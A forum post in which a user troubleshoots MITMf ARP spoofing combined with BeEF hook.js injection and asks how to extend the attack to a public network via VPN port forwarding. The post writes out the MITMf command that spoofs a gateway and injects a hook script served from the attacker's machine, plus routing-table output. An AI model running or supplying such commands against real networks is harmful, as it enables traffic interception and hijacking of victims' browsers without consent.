Forum Thread: IP and Gateway Beef + MITMf in a Public Network

I already posted a thread which says MITMf not working. But i am thinking there is a mistake in which i am doing.

It is i am using the hook.js file with ip address 192.168.xx.xx which is clearly a home network and this url is used in MITMf as the value of js-url.

The gateway i am using is 192.168.xx.1 from route -n but it is the address of my internal router(info got from internet).

So my questions are:

  1. When on public network is the ip=> 192.168.xx.xx and gateway 192.168.xx.1 enough, if not where i can get my public ip and gateway?
  2. Can Securitykiss VPN be able to port forward? To which port should i do that?
  3. Do i need to change configuration file of Beef or MITMf to reflect the public ip or gateway?

What i tried:

  1. Started Metaspolit(Just in case needed and configured with beef).
  2. Started beef.(Got url with 192.168.xx.xx/js url)
  3. Used python -i interface --spoof --arp -i wlan0 --gateway 192.168.xx.1 --target --inject --js-url http://192.168.xx.xx:3000/hook.js
  4. Did not do any port forwarding.

My route -n shows:

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface UG 1024 0 0 tun0 UGH 1024 0 0 tun0 UH 0 0 0 tun0
xx.xx.xx.xx 192.168.xx.1 UGH 10 0 0 wlan0
192.168.xx.0 U 0 0 0 wlan0

xx.xx.xx.xx is ip provided by Securitykiss which put in gateway when creating VPN connection.

Is this completely in home network? Is that the reason why MITMf not working it is saying Unable to resolve MAC address of <target ip>?

Join the Next Reality AR Community

Get the latest in AR — delivered straight to your inbox.

2 Responses

Share Your Thoughts

  • Hot
  • Active